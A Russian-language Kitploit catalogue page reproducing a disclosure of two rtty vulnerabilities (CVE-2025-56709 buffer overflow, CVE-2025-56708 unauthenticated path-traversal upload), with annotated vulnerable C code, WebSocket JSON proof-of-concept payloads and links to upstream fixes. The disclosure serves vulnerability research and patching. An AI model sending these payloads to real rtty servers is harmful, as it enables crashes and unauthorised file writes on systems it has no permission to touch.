Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — CVE-2025-56708&CVE-2025-56709漏洞详解 | Kitploit
Инструменты/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
Vulnerability AnalysisExploitationWeb Application ExploitationMisconfigurationBinary Exploitation
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

CVE-2025-56708&CVE-2025-56709漏洞详解

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
310 месяцев назадЕщё не проверено

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】Переполнение буфера в savepath

Описание уязвимости

В версиях rtty <=v9.0.0 метод fileinfo содержит уязвимость переполнения, которая приводит к непрерывной записи данных в глобальную переменную savepath, вызывая переполнение буфера.

Анализ уязвимости

savepath может быть постоянно записан, что приводит к переполнению.

  • 【1】Видно, что name на самом деле использует память savepath
  • 【2】Если проверка точки монтирования не проходит, выполняется переход к check_space_fail
  • 【3】Этот процесс завершается неудачей, но buffer_pull продолжает добавлять данные в name, то есть в область savepath
root@kitploit:~
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

POC уязвимости

  • Постоянная отправка данных через WebSocket может привести к сбою службы (возможно даже к RCE)
root@kitploit:~
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

Исправление уязвимости

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】Неавторизованная загрузка файлов

Описание уязвимости

Версии rtty <=v9.0.0 содержат уязвимость обхода каталогов. В протоколе взаимодействия метод fileinfo содержит логическую уязвимость, позволяющую атакующему, перехватившему WebSocket, загружать файлы в произвольные пути системы без необходимости входа пользователя в систему.

POC уязвимости

  • Перехватывая поток WebSocket и вызывая метод fileInfo, можно загружать файлы в любой каталог системы без аутентификации.
  • Указание точки монтирования
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • Указание файла
root@kitploit:~
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • Создание файла на сервере Схема уязвимости

Исправление уязвимости

https://github.com/zhaojh329/rtty/issues/140

Скачать инструмент